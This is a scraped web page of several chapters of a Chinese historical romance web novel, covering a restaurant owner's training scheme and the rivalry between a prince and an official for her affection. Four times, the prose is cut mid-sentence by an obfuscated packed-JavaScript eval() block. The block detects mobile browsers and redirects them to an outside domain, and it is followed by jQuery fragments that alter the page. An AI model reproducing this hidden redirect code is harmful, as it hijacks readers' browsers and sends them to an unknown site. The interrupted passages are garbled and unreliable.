“你不去做商总真的可惜了。”赵行之旧事重提,这是他发自肺腑之言,没等梅映禾拒绝,他先道,“小早的才干甚至超过了许多为官之人,既然你有这么好的想法,若是没有相匹配的身份和平台,如何能实现,岂不浪费了自己的聪明才智。” 他伸出手去包裹在梅映禾的小手之外,温热的触感袭来,赵行之接过她手中的树枝,接着她画的圆圈在下面画上了支点,“只有你自己掌握了一定的权力和资源,站到了一定高度上,才能保证你的想法计划在实施的时候不走形不变样,才能真的造福百姓。” 那双深邃幽黑的双眸定定地看着她,梅映禾一直都觉得赵行之的眼睛特别吸引人,仿佛能洞悉人的心灵。 此刻她直视那双眼睛,第一次开始认真思考做商总的问题。 他说得对,万事只有掌握在自己手里才能保证那些想法计划顺利进行,从这个角度去考虑,她是有些动摇的。 夕阳逐渐褪去,天空变成了墨蓝色。 看着她认真思考的样子,赵行之觉得方才那些话是说给她听的,也是说给自己听的。 他想要为白将军一家翻案,若是有朝一日真相大白,若是皇兄赞同他的想法也就罢了,若是皇兄不欲揭开那伤疤,当他知道了小早的真实身份,他希望现在她所做的一切都能为她添上一笔,让皇兄念在她曾经的功绩上不要苛责于她。 即使他不能为她翻案,他也不希望再给小早带来杀身之祸。 看向天边的墨色,赵行之第一次觉得后悔,后悔当初为了避讳人言远离朝堂,为了不让皇兄疑心自己不问政事,这些年他什么都不参与,却依然没有打消别人对他的忌惮,反而让人变本加厉。 现在的他除了手里的兵权,既没有官职也没有实权更没有人脉,想帮小早还需从长计议。 “这事我认真考虑一下。”梅映禾这算是给了答复。 赵行之如释重负,他愿意看到她自己站到那高处,即便这样会便宜那个讨厌小子文明修。 想起文明修,赵行之决定当即入宫,防着他不如先让他忙一点吧。 或许是太累了,当日回到家中梅映禾几乎没怎么吃东西,洗洗就睡下了,还做了一个梦。 她梦见自己跟着爹娘一起赈灾济贫,她的爹娘一直都有在做这种善事。 可是再仔细看,爹娘不是爹娘,哥哥也不是哥哥,长得明明不一样可是就有一种说不出的亲切感。她在梦中想要努力看清楚爹娘的脸,却怎么都看不到,只觉得很眼熟。 惊醒后梅映禾出了一身的汗,已经进入了夜晚也闷热难耐的夏季了。 梅映禾重新洗了澡走出房间去吹吹风,却看到了义父书房里仍旧亮着烛火。 阿爹还没睡呢,梅映禾给自己猛扇了两下扇子转身去了灶房,还有剩下的酸乳饮放在井水里冰着,还有一个大西瓜,梅映禾又随手抓了一些核桃碾碎放了进去,两份清凉解暑的酸乳冰饮便做好,一份自己留着解暑,一份让管家送去了义父的书房,并叮嘱管家提醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815262|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿爹吃完了赶紧睡下。 家里有这样一位关心自己,又能让自己关心的长辈,真是幸福的牵挂。 这个时辰,赵行之才从宫里出来。 下午从普济寺出来,送小早回家后赵行之就直接进宫了,借着今日厨艺比拼的盛况,赵行之想多为小早的功绩添砖加瓦。 带着目的入宫和从前那般到底是不一样了,赵行之也学会了察言观色,捡着皇兄高兴的时候说几句让他更加开怀的话,还不能让他察觉到自己的变化。 这还是他吗,那个直爽清高不理俗世秉承本心的赵行之。 终究是走上了这条路,是迫不得已,也是心甘情愿,有些悲哀却不曾后悔。 他已经在搜集皇兄纵容皇嫂暗杀他的证据,还有皇兄这些年来对他的提防和试探,他本并不将这些看在眼里,无所谓,可是现在不一样了,他要拿着这些筹码和证据去跟皇兄谈判。 或许在关键的时刻可以还白将军清白,或许……最不堪的时候可以保住小早的性命。 他愿意放手一搏,哪怕与皇兄反目,哪怕丢掉现在的一切。 只恨自己从前不知积累,为了让别人相信自己而放弃了所有,现在才发现想要保护自己想保护的人,其实并不是一件很容易的事。 好在,还不算太晚。 厨艺比拼只是开始,往后还有更精彩的。可是这个开始已然让皇兄欣喜,当即便要重重地赏赐他。 “臣弟不敢居功。”他说,“这些都是梅映禾的主意,也是借用她的地方,是她召集的人,筹划了一切。” 皇帝似乎并不能记起梅映禾这个名字,只是觉得耳熟,经赵行之提醒那场精彩的万寿宴,赵怀风才抚掌,惊喜道: “果真是她吗,那样一个小娘子能有这样的能力?” 赵行之点头,“千真万确。” 说完看了一眼皇兄御案之上的肉铺,“连这肉铺也是她做的。” 还有皇帝一致夸赞的户部官署的食堂,和普济寺里救助灾民的吃食和衣物。 赵怀风沉默半晌后点头,“这样的小娘子是要好好犒赏,朕要亲自封赏她。” 赵行之替梅映禾婉拒了,现在还早,功绩不够,他只想皇兄对这个人有印象,往后会有更多更大的惊喜。 赵怀风道,“也罢,就等她忙过这阵子吧。你皇嫂的寿辰也快到了,不如到时候请她到宫里来,再置办一次席面。” 皇嫂的生辰还有半年,足够梅映禾积累功劳,也足够他搜集证据。 “是,臣弟替梅娘子接下这道圣旨了。” 如此,事情便按照他的意思开始了。 至于文明修…… 赵行之又一次跪地行礼,“虽说是梅娘子的功劳,可是户部也的确雷厉风行,正是因为文大人同商户关系都好,大家才愿意同他来往,诸如梅娘子这样的东家们才愿意同他说真话,朝廷能有文大人这样的人才,臣弟以为,皇兄应当另行嘉奖,以示皇恩浩荡。” 赵怀风点头,“那以云策的意思,该如何嘉奖。” “臣弟听闻文大人一心读书,入仕后勤奋政业,如今已过弱冠之年却是未曾娶亲。”他抬头直视赵怀风,“文大人衷心为皇兄,才华横溢,一表人才,臣弟请皇兄给文大人赐婚。” 71. 各凭本事 夏日的清晨来得格外早,东边方亮出一丝几不可见的暖光,还未曾唤醒生灵,文明修已经打开了房门。 穿得还是昨日入宫受封赏的朝服,只是却不是他往日那一件。 陛下召见,褒奖了他这些日子的辛劳和功绩,圣心大悦当即加封,如今文明修已是户部给事中,朝中最年轻的四品官员。 刚过弱冠,他已经在一步步走向自己的人生目标了,甚至比之前规划设想的还要早一些。 平步青云,仕途顺遂大抵如此吧。 可是文明修却高兴不起来。 因为伴随着升官的同时,陛下还降了一道赐婚圣旨,竟是长公主,也是陛下最小的妹妹,今年刚好十六。 皇帝的女儿不愁嫁,先帝的幼女、陛下的幼妹本可以悠闲地在宫中再待上几年,即便是到了十八九岁也仍旧是高高在上万家求娶的公主,可是陛下却急着将长公主下嫁于他。 文明修知道这是信任,是陛下对他的认可,也是皇家想要拉拢他的意思。 是该高兴的事,文明修想,自己一个南方小城走出来的普通学子,日日苦读夜夜勤奋不就是为了拜将封侯光宗耀祖的吗,如今一步登天,虽只是四品官阶却能尚公主,成了驸马便是皇亲国戚,难道不正是光宗耀祖了吗。 可是为什么他却高兴不起来呢。 四品给事中是他努力得来的,是在小早的帮助下他干出来的功绩,可是驸马呢,却是他不想要的。 因为他心里已经有了认定的人,他不想辜负公主一辈子,亦不想委屈了自己。 可是圣旨不可违,那一道天降恩旨是多少人渴求的,却是压在他身上的一座大山,永远翻不开越不过的大山。 赐婚圣旨仍旧放在案桌之上,上面的字是陛下亲笔,可见陛下对长公主的疼爱,可是每一笔每一划都似刻在他心上的刀子,锋刃之下鲜血淋漓。 他中意小早,想同她在一起,每日都在一起,这是他长这么大以来头一次喜欢一个人,而且愿意为她做任何事。 可是这一切即将成为泡影。 东方日出,火红的太阳已然跃上云层,金色的光芒照射大地,这样金光灿灿的辉煌刺得文明修眼痛,睁不开眼。 这是他承接不住的耀眼,亦不是他想要的。 一道赐婚圣旨下,他一夜之间成了驸马爷,煊赫至尊的身份毁了他多年苦读的付出,让他成了攀附权贵攀上高枝的无能之辈,更让他心中那一团刚燃起的照耀自己一生的火苗,彻底熄灭了。 一想到从此便要同梅映禾划清界限,文明修的心似火烧一般难受。 太阳出来了,新的一日开始了。 他想了一整夜,现在已然想得很明白了。 文明修起身,脱掉了崭新的四品朝服只穿了一件素衣,便将那新旧朝服并那一道让他枯坐一整夜的赐婚圣旨一起郑重装好,进了宫。 他要退婚,哪怕陛下因此震怒,夺了他的官位,哪怕终身不得再入朝堂,一身才学毁于一旦,哪怕掉脑袋,他都认了。 与其苟活不如痛快地死。 * 午时,梅映禾正在铺子里同小梅一起看账本,哥哥成亲之后的第三日便赶回军营去了,小梅姐,如今是正儿八经的嫂嫂了,便也回到铺子上如同之前一样忙碌。 只是那姑娘式样的发辫没有了,换成了妇人的发髻,倒是更好看了。 梅映禾说完了事,无意中看到了嫂嫂头上的一根金簪,几朵盛开的梅花簇拥在一起,花朵很小却显得格外灵动鲜活。 “这是哥哥送的吧。”梅映禾忍不住笑,“他怎么每次都送梅花的式样,就不能换点儿别的,毫无新意。” 梅便是小梅的名字,看似意有所指其实何尝不是一种偷懒呢。 小梅却不以为然,“我喜欢。” 简单的三个字便能让她的眼角眉梢都不可抑制地流露出幸福甜蜜的笑意。 “总比你这两只小猪好。” 她一直都在嘲笑梅映禾头上的簪子太幼稚。 “这不是小猪,是拾一拾二。”梅映禾赶忙伸出手去扶了扶头上的簪子,指尖摸到了狸奴尖尖的小耳,心里便是一软,“多可爱啊。” 小梅笑着摇了摇头,自家小姑还是孩子心性呢。 “狸奴是可爱的,簪子嘛自然也是可爱的,只是那送簪子的人呢。”她轻轻用手肘推了推梅映禾的腰,“你不会当真一点儿都不明白他的心思吧。” 猝不及防被问及这样的事,梅映禾自然不可能不明白她说的是什么,只是仍旧想用老套路应付,躲。 “别跑,这事你总躲躲藏藏装憨卖傻也不是个办法。”小梅一把拉过她,“你到底是怎么想的。” “哎呀嫂嫂,这会儿正忙着呢,不适合说这些。”她想挣脱,无奈没有小梅力气大。 “忙也忙不着你。”小梅强行拉着她坐下,“长嫂如母,更何况咱俩从小一起长大,你的终身大事我不管谁管,快跟我说说,文大人和七哥,你更喜欢哪个。” 哎,这成了亲的女子到底是不一样了,这样生猛的话张口就来。 “怎么还扯到七哥了。”梅映禾仍旧做垂死挣扎。 “七哥的心思所有人都能看出来,你别告诉我你看不出来。”小梅的手死死钳制住她,“早儿,你也不小了,终身大事是该考虑了,是,嫂嫂知道你曾经说过不想嫁人,可是那样孩子气的话终究只是说说,你阿爹阿娘的在天之灵也想看到你找到可心的归宿,有人疼你有人说话做什么事都有人陪着你。” 梅映禾无奈,为何非要成亲,一个人有钱有闲有事做不香吗,可是梅映禾知道这种话说不通,莫说是大隶朝,就是放在后世也有很多人是说不通的。 “文大人是个不错的,七哥更好。”小梅细数,“都是真心实意对你好的,也是可以依仗的。早儿啊,既来之则安之,遇不到合适的也就罢了,可是你已经遇到了何必非要拒绝。” 已经遇到了何必非要拒绝。 这句话让梅映禾一愣,很有几分哲理,可是她…… 梅映禾也不再打马虎眼,看着小梅认真道:“我知道你和哥哥担心我,也自然看得出来他们的心思,可是嫂嫂,七哥是皇家的人,那样的环 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818605|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 境那样复杂的境遇,嫂嫂觉得是我能应付得来吗,若真有那样一日,兄嫂不担心我……” 小梅没让她把话说完却明白了她的意思,这话不错,他们二人之间的身份隔着十万八千里,莫说皇家的人会不会同意,即便成了亲,恐怕小早也很难适应那样的繁文缛节和比天都大的规矩,像她这样的性子一切随心自在惯了,不敢想一朝迈入皇家的大门,成了天家的媳妇会是什么样,那还是她吗,小早真的会快乐吗。 “那好,那文大人呢,你怎么想。”小梅叹了口气,虽然她和九郎都觉得赵行之很好,无可挑剔的好,关键是对小早好,可是客观现实很难逾越,小早说的没错,所以也只能错过了。 好在还有一个文明修。 文大人今年刚好弱冠,出身江南普通的农户家庭,靠着自己的勤奋和聪明一路踏踏实实走过来,为人很正直和善,温文尔雅,对小早也是十分好,虽不及七哥那样能处处帮着她护着她,可也算是非常不错的选择了。 “是啊,挺好的。”梅映禾笑笑,“家世清白,人家一路凭着自己的本事走上来,可是人家现在已经跟我们是两条道上的人了,嫂嫂,咱们是商贾之家,过去可是差点儿要饭的,能有如今的生活不错了,怎么还要得陇望蜀想着做官太太啊。” 她这样妄自菲薄是小梅没有想到的,“你怎么能这么想呢,这不对啊。” 小梅话没说完,门上有人来报,“东家,文大人来了,说是给东家送东西。” 二人立时止住话题,小梅用“你看吧,又来了”的眼神看着梅映禾,梅映禾笑着起身,“我去,嫂嫂放心,我会让他对我死了心的。” 看着她的背影小梅直叹气,小早啊,看似没心没肺无忧无虑,其实她怕的东西太多了,将自己包裹得太紧了。 文明修是来送茶的,一身四品官服让梅映禾眼前一亮。 “文大人升官了?” 他羞赧一笑,“托小早的福,升了一级。” “那就是四品了。”小早忙上前恭喜,“这得庆贺一下吧。” “不必了,眼下要忙的事情还有很多,别麻烦了。”文明修收敛了笑容,递上茶叶,“这是家里寄过来的茶,我想着你爱喝便拿一些给你。” 话题很快就转换了,二人又聊了两句,文明修便着急告辞了。 从云来酒楼出来,前后不过一盏茶的时间,文明修长出了一口气。今早去见陛下退婚原本是做了准备被斥责削官甚至被砍头的,谁知陛下圣明,非但没怪罪他还夸赞了他,“直言不讳不阿谀奉承,是个真君子。” 可是当陛下问及他退婚的原因,文明修也并未遮掩,“臣已有了心仪的女子。” 但是他顾虑再三也没有说是谁,实在是害怕给小早添麻烦。 所以,在他能够堂堂正正娶她之前,都要克制自己,不要来得过于频繁也不要过于流露自己的情感,他一定得忍住。 等过些日子,陛下淡忘这件事,再说吧。 可是,他知道晋王殿下不会给他这个机会,那便各凭本事,走着瞧吧,从今往后他绝不会退让一步。 72. 不想原谅 入伏的第一天,梅映禾的设想被陛下御笔亲批的旨意送到了云来酒楼。 窗外蝉鸣蛙叫,闷热难耐 可是梅映禾却丝毫感觉不到热,她指尖发凉,激动地捧着陛下亲笔的批复已经看了一炷香了。 不敢相信,真的难以置信,这事竟真的能得到天家的支持。 记得几日前赵行之过来找他,让她将自己的想法写下来。 “不拘言语辞藻,只将事情说清楚便是。”他说。 梅映禾本不明白他的用意,还不想写,可是无奈他的软磨硬泡她也只得写下,待东西交给他的时候,赵行之才说:“我想替你向陛下请旨,这是造福百姓的好事,虽说一应皆不必惊动官府,但若是做得好了陛下必能有赏赐,你不想要?” 那自然是想的。 虽然梅映禾做这些并非为了沽名钓誉,可是顺便而来的钱财干吗要拒绝呢,对吧。 如此,这事倒是真的成了。 “压力好大啊。”梅映禾重新掸平面前那道圣旨,脸上露出志在必得的神情,“不过文大人请放心,此事我定全力以赴。” 文明修是来给她送圣旨的,抱着茶盏不紧不慢地等着她看了一遍又一遍,听闻此言这才放下茶盏,“咱们合力,有什么我能做的小早直言便是。” …… 当日二人便从午后一直坐到了夜幕四合,梅映禾列出了好几页纸的计划,哪些商户可以参加的,可以组织什么样的学班,讲师都有哪些人是她看好的…… 还有这些讲师如何评判和选拔,讲师的酬劳个人部分和东家商户的部分如何分配,每个学班大约的课时多少,毕业考核后如何输送确保上岗…… 越列越多,越做越细节越复杂。 直到脑袋僵直反应迟钝,这才不得不停下。 “不行了,今儿实在想不动了,咱们各自回去整理一下,歇歇脑子,下回多找几个人大家一起商议。” 梅映禾趴在桌上以手支颐,嘴上说着不想,脑子却没停转,又道:“咱们可以一边筹备一边先把消息放出去,榜文明日就发,现在就写吧。” 刚说好要休息的,这又催着文明修写榜文。 文明修被她拉着一整个下午,虽说如此忙碌也早已习惯,可那是他作为官吏拿着朝廷的俸禄,本就应该,倒是没想到小早也能如此精神抖擞不知疲倦。 “你呀,合该托生成男子,必定建功立业位极人臣。” 文明修铺开一张新纸,稍作构思便提笔蘸墨便开始书写。 “你都不用构思吗,或者打个草稿。”梅映禾觉得很惊讶。 文明修写完几个字抬头冲她一笑,“腹稿已经有了。” 这么简单吗,梅映禾心里感慨,果然是状元郎,到底是不一样。 学霸就是学霸。 抬头望着眼前眉眼清秀神情专注的文明修,梅映禾想起了小梅的话。 这样温柔体贴翩翩儒雅的小郎君,说实话是真心不错,可是…… “小早。” 梅映禾的思绪被赵行之的呼唤声打断,他来了一会儿了,看到了他们二人在专注地讨论,而后看到文明修开始写东西,可是当他看到梅映禾一脸痴傻地望着文明修时,赵行之赶紧打断她。 他没有走近,只唤她:“有些东西烦请你带给老师。” 这边也已经说得差不多了,梅映禾便同文明修打了个招呼走了过去。 文明修只点了点头,等二人走出店门这才抬起头看向窗外。 夜色浓稠,月明星稀,二人的身影逐渐远去,看上去十分登对。 收回视线,文明修专注写榜文,就按照小早说的,明日一早便张贴出去,今晚他还要细细琢磨一下二人讨论过的事宜,明日他要拉着小早商讨细节分工实施,日后这样的机会还多着呢。 …… 次日,榜文一贴出来便引得围观人群挤了个里三层外三层。 对于商户而言这显而易见是个好事,一分钱不用出能赚到银子和名声,还能优先挑选受训过的人,何乐不为,大家踊跃报名参加。 普通百姓也是奔走相告,如今京城里用人的地方不多,即便是招人也多是出苦力的活儿,银子赚得也少,这个却不同,先学技能还不用付银子,只要学得好自然有商户来挑人,到时候不仅能到大铺子里干活涨经验,还稳定许多,更重要的是自己从此便有了一项安身立命的技能。 东家不干干西家,这可让人心里踏实多了。 消息传开报名的人排起了长队,登记的文书忙了一整日连口水都没顾得上喝一口。 梅映禾看着那好几页纸的报名信息,笑得十分灿烂。 直到近傍晚的时候,晚霞漫天,红彤彤地分外妖娆。 榜文前的人少去了许多却仍旧人头攒动,一位红色衣裙头戴金钗的小娘子骑马而来,待马匹站稳,小娘子翻身下马动作潇洒漂亮,立时吸引了过路人的目光。 “这不是锦绣绣庄的小娘子吗,她怎么也来了。” 人群中有人议论,魏默不予理会,抬起马鞭点了点眼前的人,站到了最前端仔细看那榜文。 榜上说得很清楚,各种行当都可以,那…… “魏娘子这是也想参加吗?” “是啊,锦绣绣庄给的月俸可高啊。” “锦绣绣庄也找人吗。” …… 锦绣绣庄是京城最大的绣庄,其自祖上传下来的产业,如今已经供宫里贵人娘娘们的衣物了,不仅布帛齐全各种织锦都有,绣工更是一绝,据说当年老太后的寿宴就是让锦绣绣庄用了三年的时间,绣了一幅金线“寿”字,老太后很是开怀,重重地赏赐了锦绣绣庄,还特意奖赏了当时只有十岁的魏默小娘子,据说这个“寿”字正是魏默的主意。 大家纷纷发问,魏默不予理会,看完了榜文只点了点头,道:“有消息会告知各位。” 说完翻身上马,直奔户部官署而去。 她要去找文明修问个清楚。 * 梅映禾一连忙了好几日,不是有人想详细询问个中细节,就是被人拉着推荐讲师。 她的身边时时刻刻都围满了人,赵行之来过几次都没能同她说上话。 七八日后,事情逐渐稳定下来,讲师选出来十位,报名学技术的竟有三百多人。 其中想学厨师的有八十多人,跑堂近二十人,学采买的有四十人,想学算法记账的有四十多人,余下便是报名学规矩学打扫的妇人三十多人,还有女红、刺绣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825219|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、医术等近百人…… 真是比预想的还要多,梅映禾一一整理手里的单子,分门别类誊抄记录,足足忙了一整日。 看着手里的单子,小娘子伸了个懒腰,十分欣慰道,“也不知道文大人知不知道如今的盛况。” 文明修已经好几日没来了,或许是官署里太忙了吧,毕竟他只是帮忙,梅映禾也没多想。 站起身仔细将整理好的纸张叠成一沓,妥善放入匣子里收好,梅映禾抹了一把额角的汗珠转身去灶房,她准备做一份冰浆酸乳水果犒劳自己一番。 东西都是现成的,很好做,用冰碴铺底,放入酸牛乳、果干,又切了西瓜、蜜瓜、桃子等水果,她也不挑剔,有什么放什么都好吃。 满满两大碗,给嫂嫂一碗自己端着一碗坐在窗边,一边看风景一边享用这冰凉可口的美食。 人生乐趣就在于此,将该做的事情做得漂亮,心里很有成就感,然后闲适地吃上一份可口的食物,还有什么比这一刻更完美的呢。 可是,完美是用来打破的。 门口小跑堂来报,“东家,金玉满堂的崔东家来了,先前来了好几次了,只因东家不在没见着,或许是路过咱们店看到了您吧,您说……” 他来做甚?梅映禾蹙眉。 心里十分不情愿见他,可是人家已经上门,若是今日不见恐怕他明日后日还会来,左右也不是梅映禾对不起他,见就见,没有在怕的。 她也不起身,让跑堂把人带进来,就这样奉上一杯普通待客的茶水,梅映禾没有停下手里的美食。 崔东家先是奉承道歉,一番虚情假意之后便道明来意: “如今生意不好做,店里已经三个月没发月俸了,伙计都走完了,还请小娘子大人不记小人过,帮帮忙。” 其实梅映禾也早有耳闻,金玉满堂的新伙计厨艺不佳,不但味道不行甚至闹去了医馆,崔东家是个出了名的小气,老人请不回去新人又舍不得请好的,好的厨师也不愿意再去他那里,这么一来生意可想而知。 可是梅映禾并没有打算原谅他,也不想装大度,她甚至都不想跟这个人见面。 “我帮不了你,也不想帮你。”她话说得很直接,“帮了你对我也没什么好处,我这么一个小肚鸡肠的小娘子也并不打算同你来往,桥归桥,路归路,这话我早就说过,崔东家请回吧。” 崔东家苦着脸,“过去是我错了,还请小娘子不要同我计较,我……” “为什么不同你计较。”文明修刚好进门,张口道:“崔东家年岁比梅东家长这么多,资历也老,也是你挑衅在先,人家没有以牙还牙已经是饶过你了,怎么还敢来提要求。” 文明修走到梅映禾身边坐下,“崔东家闹的事还险些连累本官,若是当时真的闹起来,想来陛下必定问罪,所以,崔东家还是走吧,若是年纪大了不适合再盘算生意,大可以卖掉酒楼回家颐养天年。” 这话说得决绝,崔东家无言以对。 待看着崔东家离去,梅映禾这才道谢:“多谢。” 文明修摆手:“你我之间不必说这些。” “不说这些说什么。”魏默一步跨入门槛,直奔二人而来,“文大人怎么厚此薄彼得如此明显,这很是不公。” 73. 生辰了不起 伴随着这一声清脆悦耳的女声,魏默跳进门。 梅映禾循声望去,神气骄傲的小娘子发髻高耸金钗满头,却丝毫不给人累赘繁冗的感觉,她面色红润双目炯炯且清亮有神,一袭红衣裙手里执着马鞭,倒是让人眼前一亮,一看便知是一位家境优渥明艳直爽的女郎。 多鲜活明媚的小娘子啊,梅映禾心里感叹。 对方也正在看她。 这便是传闻中那个商贾奇才的梅小娘子吗。 魏默仔细地打量着梅映禾,她好美啊,肌肤雪白眉眼柔情,眼波流转间自带一种风流韵味,和她想象中的厉害形象大相径庭,她是那种柔弱却并不娇弱的女郎。 “没想到传闻中的梅小娘子竟生得如此美貌,倒是可以与我平分秋色了。”魏默走上前自我介绍,“我叫魏默,锦绣绣庄知道吧,我家开的,久仰梅娘子大名。” 梅映禾顾不上不好意思,赶紧问好后将人请到里头坐下,“久仰魏娘子大名,快坐下,我今日刚好做了些冰饮子想请魏娘子尝尝,不知可方便。” “方便方便。”魏默展露笑颜,“我是最爱吃冰饮最爱吃甜食的。” “那巧了,彼此彼此。”二人大有相见恨晚的架势。 梅映禾忙让人将今日新做的冰饮小食端上来。 雪白的双皮乳上点缀着红豆,鲜红的西瓜饮触手冰凉,还有那五彩缤纷的果酪散发出诱人的甜香,立时让魏默双眼发亮,面上的笑容更甚了。 “那我就不客气啦。” “魏娘子尽管自便。” 二人一来一往一个吃一个看,很是契合。 做厨师的就喜欢看着旁人将自己辛苦做出来的东西吃得虎虎生风,魏默的确是一个好食客,优雅却不拘谨,脸上呈现出十分欣喜满足的表情,看得出来是真的喜欢吃。 那就好,梅映禾心里欢喜转头去看文明修。 咦,怎么文大人好像很不高兴的样子。 梅映禾看了看那些点心,难道是怪她没有招呼他吃吗,不对啊,文大人不爱吃冰冷的东西啊。 文明修心里苦啊。 这位魏默小娘子从半年前便使人去他家里求亲,文明修自然不会答应,做上门女婿他不干,可是人家说了,“大人是朝廷命官,曾经的状元郎,魏家怎可能委屈大人做上门女婿呢,只是想同大人结亲,可是大人一人独居家中并无尊长,是以这事便只能问到大人头上了。” 面对媒人殷切的眼神,文明修严词拒绝,表示自己现在并不考虑终身大事。 本以为此事到此结束,毕竟,每日托人找关系或旁敲侧击或直言相告,向他询问亲事的人屡见不鲜,文明修于此事早已习惯。 可是谁承想,这位魏默娘子在两个月后竟亲自登门了。 “我已经暗中观察大人两个多月了,你至今孤家寡人并无与任何人家结亲。”魏默那日也是一身红衣裙,人漂亮鲜活却也有些咄咄逼人,“但是,你似乎有喜欢的人,只是人家并不搭理你。” 她说的是梅映禾。 文明修扶额无语,原来竟是个纠缠不休的。 “文大人。” 听到梅映禾唤他,文明修强打精神,今日还有正事要谈,先不管那些。 “我这几日太忙无暇顾及这边,不知报名情况如何。” 他这几日是在忙着躲魏默,结果还是没躲过。 “哦,都准备好了,请大人过目。”梅映禾说起正事精神抖擞,“大人的榜文写得好啊,报名的人太多了,比咱们预想的还要多。” 她拿过匣子在文明修身边坐下,如往常一样二人一起看文卷讨论细节,笔墨共用,也难免会有一些肢体上的接触。 “等一下。” 魏默终于看不下去了,起身呵斥,“你们两个,坐远一点。” 梅映禾:…… 文明修的脸顿时涨得通红,极力克制住自己的脾气,道:“魏娘子,还请……” 谁知魏默根本不搭理他,拉起梅映禾坐到了旁边的椅子上,“梅娘子,我今日来是有两桩事要问你。” 她看也不看文明修,“一桩是文大人不告诉我的事,锦绣绣庄是真心想要报名,可是还有很多细节我不明白,所以想请梅娘子解惑。” “但是在这之前,我还有一桩私事要告知梅娘子。”魏默的表情变得很严肃,像极了护着自己心爱礼物的孩子。 “我……” “魏娘子,请慎言。” 魏默的话被文明修打断的一刹那,梅映禾看到了文明修脸上的无奈、窘迫和一些愤怒。 她好像明白了什么。 可是不等她反应过来,魏默仍旧不顾文明修的阻拦开了口: “梅娘子,我喜欢文大人,文明修,这辈子我非他不嫁,但是我知道他……” 她咬了咬牙,努力克制自己不要将话说得太直白,“他已心有所属,所以我只是来告诉你,我喜欢你但是我们做不了朋友,我愿向你挑战。” 挑战,什么。 “够了。”文明修终于还是没能控制住自己的不爽,这也是梅映禾第一次见文大人发火。 “魏娘子,请快些离开吧,莫要在这里胡言乱语了。” “我不走,我凭什么要走,我哪里有胡言乱语。”魏默站得笔直,一张原本白皙的小脸涨得通红。 “她不走,我们走。” 赵行之不知何时进来的,瞪了一眼文明修拉起梅映禾的手,“小早,咱们走。” 他力气很大,梅映禾被他拉着离开,眼看离二人越来越远,她想挣脱,“七哥,魏娘子对我有误会,我得回去解释清楚。” “你解释不清楚的。”赵行之紧紧拉住她,俯身附耳轻声道:“今日是我生辰。” 梅映禾:…… 身后,文明修只愣愣地看着小早被晋王殿下带走了,是拉着她的手走的,就在他眼前,又一次这样堂而皇之地带走了她,她们那样亲密,小早好似还说了什么,她们都笑了。 梅映禾被赵行之带上了车,车帘放下的一瞬间,隔着一段距离透过窗子,梅映禾看到了文明修遗憾失落的眼神。 嫂嫂说得对,是自己太不在意掩耳盗铃了,文明修对她的心思早就写在脸上了,她应当及时跟他说清楚的,只是她一直都觉得或许时间久了事情自然就淡了,若是自己兴师动众找人家摊派说明白的话,多……尴尬。 是啊,她怕尴尬,太怕了。 所以每次都装傻。 对文明修如此,对赵行之亦是如此。 眼神落在眼前这个人身上,梅映禾在想,要不要借此机会跟他先说清楚呢。 “今日是我生辰。”赵行之却先她一步开口,“所以今日听我的,你只要陪着便可。” 完了,话被堵在喉中,再也说不出来了。 梅映禾心里默默叹气,也罢,这样的日子自然不能拂了寿星的面子,改日再说吧。 “好。”她笑着答应。 赵行之心里松了一口气,小早是个不会遮掩的脾性,心里想什么全在脸上,所以方才她大约是想……没关系,他会让她改变想法的,只要在那之前不让她有机会开口便是。 夏日的傍晚旖旎婀娜,晚霞漫天,红彤彤的落日就在眼前。 马车停下赵行之扶着梅映禾下车,眼前便是一片开阔的芳草地,漫山遍野的葱绿,呼吸间尽是泥土和花草的芳香。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832795|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再往前走几步视野立时变得开阔起来,原来她们所在之处是一座山崖的顶端,下面是层峦叠嶂的山峰、蜿蜒的河流和茂密的树林。 远处是落日和晚霞,近处是如人间仙境一般的美景。 梅映禾一下子看得失了神,竟被这样的美如画的河山惊得说不出一个字。 若是会画画多好啊,那便能留住这一刻的美好和幸福。 